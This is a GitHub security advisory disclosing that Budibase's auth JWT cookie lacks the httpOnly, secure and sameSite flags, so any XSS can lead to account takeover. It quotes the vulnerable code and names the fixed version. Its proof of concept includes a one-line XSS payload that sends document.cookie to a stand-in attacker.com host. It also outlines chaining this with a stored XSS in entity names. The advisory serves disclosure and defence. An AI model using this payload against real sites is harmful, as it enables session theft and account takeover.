GitHub Advisoryadvisory · npm

GHSA-4f9j-vr4p-642r Budibase auth session cookies are set with httpOnly:false — any XSS can lead to full account takeover

HIGH Published 2026-04-24 Modified 2026-05-11 Official page ↗
Aliases
CVE-2026-42239
Ecosystem
npm
Packages
@budibase/backend-core
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N
Weaknesses
CWE-1004
Reviewed
2026-04-24

Affected packages

• npm @budibase/backend-core: < 3.35.10 → fixed in 3.35.10

Description

Summary The `budibase:auth` cookie containing the JWT session token is set with `httpOnly: false` at `packages/backend-core/src/utils/utils.ts:218`. JavaScript can read this cookie via `document.cookie`. Given that Budibase has had XSS vulnerabilities (GHSA-gp5x-2v54-v2q5 — stored XSS via unsanitized entity names, published April 2, 2026), this means every XSS becomes a full account takeover — the attacker steals the JWT and has persistent access to the victim's account. The cookie also lacks `secure: true` (sent over plaintext HTTP) and `sameSite` attribute. Details `packages/backend-core/src/utils/utils.ts`, lines 215-226: ```typescript const config: SetOption = { expires: MAX_VALID_DATE, path: "/", httpOnly: false, // ← JavaScript can read the session JWT overwrite: true, } if (env.COOKIE_DOMAIN) { config.domain = env.COOKIE_DOMAIN } ctx.cookies.set(name, value, config) ``` This function is called for setting the `budibase:auth` cookie which contains the signed JWT session token. With `httpOnly: false`, any JavaScript execution context (XSS, injected script, browser extension) can read the token via `document.cookie`. Missing flags: • `httpOnly: false` → should be `true` (prevent JS access) • No `secure` flag → cookie sent over HTTP (should be `secure: true` for HTTPS deployments) • No `sameSite` → susceptible to cross-site request attachment (should be `sameSite: 'lax'`) PoC Any XSS payload can steal the session: ```javascript // Attacker's XSS payload — steals session and sends to attacker server new Image().src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie); ``` With `httpOnly: true`, this payload would get an empty string for the auth cookie. Without it, the full JWT is exfiltrated. Combined with GHSA-gp5x-2v54-v2q5 (stored XSS in entity names), an attacker could: 1. Create an entity with a name containing `` payload 2. Any user who views that entity has their JWT stolen 3. Attacker uses the JWT for persistent account access Impact Every XSS vulnerability — past, present, and future — becomes a full account takeover. The `httpOnly` flag is the primary defense that limits XSS impact to the current session/page. Without it, XSS escalates from "session riding" to "persistent credential theft." This affects all Budibase deployments since the cookie configuration is hardcoded. ATTACHMENTS BUDIBASE-TOP10-REPORT.md ---

Related

Alias · CVE (1)

  • CVE-2026-42239 Budibase is an open-source low-code platform. vulnerability

Weakness · CWE (1)

  • CWE-1004 Sensitive Cookie Without 'HttpOnly' Flag weakness

References